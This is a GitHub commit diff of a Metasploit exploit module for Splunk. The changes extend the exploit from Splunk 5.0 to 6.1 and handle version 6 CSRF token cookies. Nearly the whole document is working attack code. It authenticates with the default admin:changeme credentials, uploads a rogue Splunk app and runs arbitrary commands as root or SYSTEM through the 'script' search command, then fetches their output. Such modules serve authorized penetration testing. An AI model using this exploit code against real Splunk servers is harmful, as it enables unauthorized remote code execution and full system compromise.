Skip to content

Commit 77433a6

Browse files
committed
Land rapid7#3507/rapid7#3463, a communal effort around improving splunk_upload_app_exec
2 parents cc7f7c9 + 1a37a66 commit 77433a6

File tree

1 file changed

+71
-60
lines changed

1 file changed

+71
-60
lines changed

modules/exploits/multi/http/splunk_upload_app_exec.rb

Lines changed: 71 additions & 60 deletions
Original file line numberDiff line numberDiff line change
@@ -11,23 +11,24 @@ class Metasploit3 < Msf::Exploit::Remote
1111
include Msf::Exploit::Remote::HttpClient
1212

1313
def initialize(info = {})
14-
super(update_info(info,
15-
'Name' => 'Splunk 5.0 Custom App Remote Code Execution',
16-
'Description' => %q{
17-
This module exploits a feature of Splunk whereby a custom application can be
18-
uploaded through the web based interface. Through the 'script' search command a
14+
super(update_info(
15+
info,
16+
'Name' => 'Splunk Custom App Remote Code Execution',
17+
'Description' =>
18+
'This module exploits a feature of Splunk whereby a custom application can be
19+
uploaded through the web based interface. Through the \'script\' search command a
1920
user can call commands defined in their custom application which includes arbitrary
2021
perl or python code. To abuse this behavior, a valid Splunk user with the admin
2122
role is required. By default, this module uses the credential of "admin:changeme",
2223
the default Administrator credential for Splunk. Note that the Splunk web interface
23-
runs as SYSTEM on Windows, or as root on Linux by default. This module has only
24-
been tested successfully against Splunk 5.0.
25-
},
24+
runs as SYSTEM on Windows, or as root on Linux by default. This module has been
25+
tested successfully against Splunk 5.0, 6.1, and 6.1.1.',
2626
'Author' =>
2727
[
2828
"marcwickenden", # discovery and metasploit module
2929
"sinn3r", # metasploit module
30-
"juan vazquez" # metasploit module
30+
"juan vazquez", # metasploit module
31+
"Gary Blosser" # metasploit module updates for Splunk 6.1
3132
],
3233
'License' => MSF_LICENSE,
3334
'References' =>
@@ -41,16 +42,16 @@ def initialize(info = {})
4142
'Space' => 1024,
4243
'DisableNops' => true
4344
},
44-
'Platform' => %w{ linux unix win },
45+
'Platform' => %w(linux unix win),
4546
'Targets' =>
4647
[
47-
[ 'Splunk 5.0.1 / Linux',
48+
[ 'Splunk >= 5.0.1 / Linux',
4849
{
4950
'Arch' => ARCH_CMD,
50-
'Platform' => %w{ linux unix }
51+
'Platform' => %w(linux unix)
5152
}
5253
],
53-
[ 'Splunk 5.0.1 / Windows',
54+
[ 'Splunk >= 5.0.1 / Windows',
5455
{
5556
'Arch' => ARCH_CMD,
5657
'Platform' => 'win'
@@ -62,9 +63,10 @@ def initialize(info = {})
6263
register_options(
6364
[
6465
Opt::RPORT(8000),
65-
OptString.new('USERNAME', [ true, 'The username with admin role to authenticate as','admin' ]),
66-
OptString.new('PASSWORD', [ true, 'The password for the specified username','changeme' ]),
67-
OptPath.new('SPLUNK_APP_FILE',
66+
OptString.new('USERNAME', [ true, 'The username with admin role to authenticate as', 'admin' ]),
67+
OptString.new('PASSWORD', [ true, 'The password for the specified username', 'changeme' ]),
68+
OptPath.new(
69+
'SPLUNK_APP_FILE',
6870
[
6971
true,
7072
'The "rogue" Splunk application tgz',
@@ -96,6 +98,7 @@ def exploit
9698
# set up some variables for later use
9799
@auth_cookies = ''
98100
@csrf_form_key = ''
101+
@csrf_form_port = "splunkweb_csrf_token_#{rport}" # Default to using rport, corrected during tokenization for v6 below.
99102
app_name = 'upload_app_exec'
100103
p = payload.encoded
101104
print_status("Using command: #{p}")
@@ -118,14 +121,13 @@ def exploit
118121
# call our command execution function with the Splunk 'script' command
119122
print_status("Invoking script command")
120123
res = send_request_cgi(
121-
{
122124
'uri' => '/en-US/api/search/jobs',
123125
'method' => 'POST',
124-
'cookie' => @auth_cookies,
126+
'cookie' => "#{@auth_cookies}; #{@csrf_form_port}=#{@csrf_form_key}", # Version 6 uses cookies and not just headers, extra cookies should be ignored by Splunk 5 (unverified)
125127
'headers' =>
126128
{
127129
'X-Requested-With' => 'XMLHttpRequest',
128-
'X-Splunk-Form-Key' => @csrf_form_key
130+
'X-Splunk-Form-Key' => @csrf_form_key # Version 6 ignores extra headers (verified)
129131
},
130132
'vars_post' =>
131133
{
@@ -142,24 +144,24 @@ def exploit
142144
'latest_time' => "",
143145
'timeFormat' => "%s.%Q"
144146
}
145-
})
147+
)
146148

147149
if return_output
148150
res.body.match(/data":\ "([0-9.]+)"/)
149-
job_id = $1
151+
job_id = Regexp.last_match(1)
150152

151153
# wait a short time to let the output be produced
152154
print_status("Waiting for #{command_output_delay} seconds to retrieve command output")
153-
select(nil,nil,nil,command_output_delay)
155+
select(nil, nil, nil, command_output_delay)
154156
job_output = fetch_job_output(job_id)
155157
if job_output.body.match(/Waiting for data.../)
156158
print_status("No output returned in time")
157-
elsese
159+
else
158160
output = ""
159161
job_output.body.each_line do |line|
160162
# strip off the leading and trailing " added by Splunk
161-
line.gsub!(/^"/,"")
162-
line.gsub!(/"$/,"")
163+
line.gsub!(/^"/, "")
164+
line.gsub!(/"$/, "")
163165
output << line
164166
end
165167

@@ -181,7 +183,7 @@ def check
181183
'method' => 'GET'
182184
}, 25)
183185

184-
if res and res.body =~ /Splunk Inc\. Splunk/
186+
if res && res.body =~ /Splunk Inc\. Splunk/
185187
return Exploit::CheckCode::Detected
186188
else
187189
return Exploit::CheckCode::Safe
@@ -192,18 +194,17 @@ def do_login
192194
print_status("Authenticating...")
193195
# this method borrowed with thanks from splunk_mappy_exec.rb
194196
res = send_request_cgi(
195-
{
196197
'uri' => '/en-US/account/login',
197198
'method' => 'GET'
198-
})
199+
)
199200

200201
cval = ''
201202
uid = ''
202203
session_id_port =
203204
session_id = ''
204-
if res and res.code == 200
205-
res.get_cookies.split(';').each {|c|
206-
c.split(',').each {|v|
205+
if res && res.code == 200
206+
res.get_cookies.split(';').each do |c|
207+
c.split(',').each do |v|
207208
if v.split('=')[0] =~ /cval/
208209
cval = v.split('=')[1]
209210
elsif v.split('=')[0] =~ /uid/
@@ -212,14 +213,13 @@ def do_login
212213
session_id_port = v.split('=')[0]
213214
session_id = v.split('=')[1]
214215
end
215-
}
216-
}
216+
end
217+
end
217218
else
218219
fail_with(Failure::NotFound, "Unable to get session cookies")
219220
end
220221

221222
res = send_request_cgi(
222-
{
223223
'uri' => '/en-US/account/login',
224224
'method' => 'POST',
225225
'cookie' => "uid=#{uid}; #{session_id_port}=#{session_id}; cval=#{cval}",
@@ -229,21 +229,21 @@ def do_login
229229
'username' => @username,
230230
'password' => @password
231231
}
232-
})
232+
)
233233

234-
if not res or res.code != 303
235-
fail_with(Failure::NoAccess, "Unable to authenticate")
234+
if !res
235+
fail_with(Failure::Unreachable, "No response")
236236
else
237237
session_id_port = ''
238238
session_id = ''
239-
res.get_cookies.split(';').each {|c|
240-
c.split(',').each {|v|
239+
res.get_cookies.split(';').each do |c|
240+
c.split(',').each do |v|
241241
if v.split('=')[0] =~ /session_id/
242242
session_id_port = v.split('=')[0]
243243
session_id = v.split('=')[1]
244244
end
245-
}
246-
}
245+
end
246+
end
247247
@auth_cookies = "#{session_id_port}=#{session_id}"
248248
end
249249
end
@@ -271,15 +271,17 @@ def do_upload_app(app_name, file_name)
271271
data << file_data
272272
data << "\r\n--#{boundary}--\r\n"
273273

274-
res = send_request_cgi({
275-
'uri' => '/en-US/manager/appinstall/_upload',
276-
'method' => 'POST',
277-
'cookie' => @auth_cookies,
278-
'ctype' => "multipart/form-data; boundary=#{boundary}",
279-
'data' => data
280-
}, 30)
281-
282-
if (res and (res.code == 303 or (res.code == 200 and res.body !~ /There was an error processing the upload/)))
274+
res = send_request_cgi(
275+
{
276+
'uri' => '/en-US/manager/appinstall/_upload',
277+
'method' => 'POST',
278+
# Does not seem to require the cookie, but it does not break it. I bet 6.2 will have a cookie here too.
279+
'cookie' => "#{@auth_cookies}; #{@csrf_form_port}=#{@csrf_form_key}",
280+
'ctype' => "multipart/form-data; boundary=#{boundary}",
281+
'data' => data
282+
}, 30)
283+
284+
if res && (res.code == 303 || (res.code == 200 && res.body !~ /There was an error processing the upload/))
283285
print_status("#{app_name} successfully uploaded")
284286
else
285287
fail_with(Failure::Unknown, "Error uploading")
@@ -289,26 +291,35 @@ def do_upload_app(app_name, file_name)
289291
def do_get_csrf(uri)
290292
print_status("Fetching csrf token from #{uri}")
291293
res = send_request_cgi(
292-
{
293294
'uri' => uri,
294295
'method' => 'GET',
295296
'cookie' => @auth_cookies
296-
})
297-
res.body.match(/FORM_KEY":\ "(\d+)"/)
298-
@csrf_form_key = $1
299-
fail_with(Failure::Unknown, "csrf form Key not found") if not @csrf_form_key
297+
)
298+
res.body.match(/FORM_KEY":\ "(\d+)"/) # Version 5
299+
@csrf_form_key = Regexp.last_match(1)
300+
301+
unless @csrf_form_key # Version 6
302+
res.get_cookies.split(';').each do |c|
303+
c.split(',').each do |v|
304+
if v.split('=')[0] =~ /splunkweb_csrf_token/ # regex as the full name is something like splunkweb_csrf_token_8000
305+
@csrf_form_port = v.split('=')[0] # Accounting for tunnels where rport is not the actual server-side port
306+
@csrf_form_key = v.split('=')[1]
307+
end
308+
end
309+
end
310+
end
311+
312+
fail_with(Failure::Unknown, "csrf form Key not found") unless @csrf_form_key
300313
end
301314

302315
def fetch_job_output(job_id)
303316
# fetch the output of our job id as csv for easy parsing
304317
print_status("Fetching job_output for id #{job_id}")
305-
res = send_request_raw(
306-
{
307-
'uri' => "/en-US/api/search/jobs/#{job_id}/result?isDownload=true&timeFormat=%25FT%25T.%25Q%25%3Az&maxLines=0&count=0&filename=&outputMode=csv&spl_ctrl-limit=unlimited&spl_ctrl-count=10000",
318+
send_request_raw(
319+
'uri' => "/en-US/api/search/jobs/#{job_id}/result?isDownload=true&timeFormat=%25FT%25T.%25Q%25%3Az&maxLines=0&count=0&filename=&outputMode=csv&spl_ctrl-limit=unlimited&spl_ctrl-count=10000",
308320
'method' => 'GET',
309321
'cookie' => @auth_cookies,
310322
'encode_param' => 'false'
311-
})
323+
)
312324
end
313-
314325
end

0 commit comments

Comments
 (0)